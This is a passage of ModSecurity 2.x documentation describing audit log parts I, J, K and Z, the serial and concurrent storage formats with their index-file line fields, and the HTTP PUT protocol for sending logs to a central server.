||||
|
||||
====Reduced Multipart Request Body (<code class="literal">I</code>)====
|
||||
|
||||
<p>Transactions that deal with file uploads tend to be large, yet the file
|
||||
contents is not always relevant from the security point of view. The <code class="literal">I</code> part was designed to avoid recording raw <code class="literal">multipart/form-data</code> request bodies, replacing them with a
|
||||
simulated <code class="literal">application/x-www-form-urlencoded</code> body that
|
||||
contains the same key-value parameters.</p>
|
||||
<p>The reduced multipart request body will not contain any file information. The
|
||||
<code class="literal">J</code> part (currently not implemented) is intended to carry
|
||||
the file metadata.</p>
|
||||
|
||||
====Multipart Files Information (<code class="literal">J</code>)====
|
||||
|
||||
<p>The purpose of part <code class="literal">J</code> is to record the information on the
|
||||
files contained in a <code class="literal">multipart/form-data</code> request body. This
|
||||
is handy in the cases when the original request body was not recorded, or when
|
||||
only a reduced version was recorded (e.g. when part <code class="literal">I</code> was
|
||||
used instead of part <code class="literal">C</code>).</p>
|
||||
; Note : This part is reserved for future use. It is not implemented in ModSecurity 2.x.
|
||||
|
||||
====Matched Rules (<code class="literal">K</code>)====
|
||||
|
||||
<p>The matched rules part contains a record of all ModSecurity rules that matched
|
||||
during transaction processing. You should note that if a rule that belongs to a
|
||||
chain matches then the entire chain will be recorded. This is because, even
|
||||
though the disruptive action may not have executed, other per-rule actions have,
|
||||
and you will need to see the entire chain in order to understand the
|
||||
rules.</p>
|
||||
<p>This part is available starting with ModSecurity 2.5.x.</p>
|
||||
|
||||
====Audit Log Footer (<code class="literal">Z</code>)====
|
||||
|
||||
<p>Part <code class="literal">Z</code> is a special part that only has a boundary but no
|
||||
content. Its only purpose is to signal the end of an audit log.</p>
|
||||
|
||||
===Storage Formats===
|
||||
|
||||
<p>ModSecurity supports two audit log storage formats:</p><div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p><span class="emphasis"><em>Serial</em></span> audit log format - multiple audit log
|
||||
files stored in the same file.</p>
|
||||
</li><li class="listitem">
|
||||
<p><span class="emphasis"><em>Concurrent</em></span> audit log format - one file is used
|
||||
for every audit log.</p>
|
||||
</li></ol>
|
||||
|
||||
====Serial Audit Log Format====
|
||||
|
||||
<p>The serial audit log format stores multiple audit log entries within the same
|
||||
file (one after another). This is often very convinent (audit log entries are
|
||||
easy to find) but this format is only suitable for light logging in the current
|
||||
ModSecurity implementation because writing to the file is serialised: only one
|
||||
audit log entry can be written at any one time.</p>
|
||||
|
||||
====Concurrent Audit Log Format====
|
||||
|
||||
<p>The concurrent audit log format uses one file per audit log entry, and allows
|
||||
many transactions to be recorded at once. A hierarchical directory structure is
|
||||
used to ensure that the number of files created in any one directory remains
|
||||
relatively small. For example:</p>
|
||||
<pre class="programlisting">$LOGGING-HOME/20081128/20081128-1414/20081128-141417-
|
||||
egDKy38AAAEAAAyMHXsAAAAA</pre>
|
||||
<p>The current time is used to work out the directory structure. The file name is
|
||||
constructed using the current time and the transaction ID.</p>
|
||||
<p>The creation of every audit log in concurrent format is recorded with an entry
|
||||
in the concurrent audit log <span class="emphasis"><em>index file</em></span>. The format of each
|
||||
line resembles the common web server access log format. For example:</p>
|
||||
<pre class="programlisting">192.168.0.111 192.168.0.1 - - [28/Nov/2008:15:06:32 +0000]
|
||||
"GET /?p=\\ HTTP/1.1" 200 69 "-" "-" NOfRx38AAAEAAAzcCU4AAAAA
|
||||
"-" /20081128/20081128-1506/20081128-150632-NOfRx38AAAEAAAzcCU4AAAAA
|
||||
0 1183 md5:ffee2d414cd43c2f8ae151652910ed96</pre>
|
||||
<p>The tokens on the line are as follows:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Hostname (or IP address, if the hostname is not known)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Source IP address</p>
|
||||
</li><li class="listitem">
|
||||
<p>Remote user (from HTTP Authentication)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Local user (from identd)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Timestamp</p>
|
||||
</li><li class="listitem">
|
||||
<p>Request line</p>
|
||||
</li><li class="listitem">
|
||||
<p>Response status</p>
|
||||
</li><li class="listitem">
|
||||
<p>Bytes sent (in the response body)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Referrer information</p>
|
||||
</li><li class="listitem">
|
||||
<p>User-Agent information</p>
|
||||
</li><li class="listitem">
|
||||
<p>Transaction ID</p>
|
||||
</li><li class="listitem">
|
||||
<p>Session ID</p>
|
||||
</li><li class="listitem">
|
||||
<p>Audit log file name (relative to the audit logging home, as configured
|
||||
using the <code class="literal">SecAuditLogStorageDir</code> directive)</p>
|
||||
</li><li class="listitem">
|
||||
<p>Audit log offset</p>
|
||||
</li><li class="listitem">
|
||||
<p>Audit log size</p>
|
||||
</li><li class="listitem">
|
||||
<p>Audit log hash (the has begins with the name of the algorithm used,
|
||||
followed by a colon, followed by the hexadecimal representation of the
|
||||
hash itself); this hash can be used to verify that the transaction was
|
||||
correctly recorded and that it hasn't been modified since.</p>
|
||||
</li></ol></div>
|
||||
; Note : Lines in the index file will be up to 3980 bytes long, and the information logged will be reduced to fit where necessary. Reduction will occur within the individual fields, but the overall format will remain the same. The character <code class="literal">L</code> will appear as the last character on a reduced line. A space will be the last character on a line that was not reduced to stay within the limit.
|
||||
|
||||
===Transport Protocol===
|
||||
|
||||
<p>Audit logs generated in multi-sensor deployments are of little use if left on the
|
||||
sensors. More commonly, they will be transported to a central logging server using
|
||||
the transport protocol described in this section:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>The transport protocol is based on the HTTP protocol.</p>
|
||||
</li><li class="listitem">
|
||||
<p>The server end is an SSL-enabled web server with HTTP Basic Authentication
|
||||
configured.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Clients will open a connection to the centralisation web server and
|
||||
authenticate (given the end-point URI, the username and the
|
||||
password).</p>
|
||||
</li><li class="listitem">
|
||||
<p>Clients will submit every audit log in a single <code class="literal">PUT</code>
|
||||
transaction, placing the file in the body of the request and additional
|
||||
information in the request headers (see below for details).</p>
|
||||
</li><li class="listitem">
|
||||
<p>Server will process each submission and respond with an appropriate status
|
||||
code: </p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="a"><li class="listitem">
|
||||
<p>200 (OK) - the submission was processed; the client can delete the
|
||||
corresponding audit log entry if it so desires. The same audit log
|
||||
entry must not be submitted again.</p>
|
||||
</li><li class="listitem">
|
||||
<p>409 (Conflict) - if the submission is in invalid format and cannot
|
||||
be processed. The client should attempt to fix the problem with the
|
||||
submission and attempt delivery again at a later time. This error is
|
||||
generally going to occur due to a programming error in the protocol
|
||||
implementation, and not because of the content of the audit log
|
||||
entry that is being transported. </p>
|
||||
</li><li class="listitem">
|
||||
<p>500 (Internal Server Error) - if the server was unable to
|
||||
correctly process the submission, due to its own fault. The client
|
||||
should re-attempt delivery at a later time. A client that starts
|
||||
receiving 500 reponses to all its submission should suspend its
|
||||
operations for a period of time before continuing.</p>
|
||||
</li></ol></div>
|
||||
</li></ol></div>
|
||||
; Note : Server implementations are advised to accept all submissions that correctly implement the protocol. Clients are unlikely to be able to overcome problems within audit log entries, so such problems are best resolved on the server side.
|
||||
; Note : When en error occurs, the server may place an explanation of the problem in the text part of the response line.
|
||||
|
||||
====Request Headers Information====
|
||||
|
||||
<p>Each audit log entry submission must contain additional information in the
|
||||
request headers:</p>
|
||||
<div class="orderedlist"><ol class="orderedlist" type="1"><li class="listitem">
|
||||
<p>Header <code class="literal">X-Content-Hash</code> must contain the audit log
|
||||
entry hash. Clients should expect the audit log entries to be validated
|
||||
against the hash by the server.</p>
|
||||
</li><li class="listitem">
|
||||
<p>Header <code class="literal">X-ForensicLog-Summary</code> must contain the
|
||||
entire concurrent format index line.</p>
|
||||
</li><li class="listitem">
|
||||
<p>The <code class="literal">Content-Lenght</code> header must be present and
|
||||
contain the length of the audit log entry.</p>
|
||||
</li></ol></div>
|
||||
Reference in New Issue
Block a user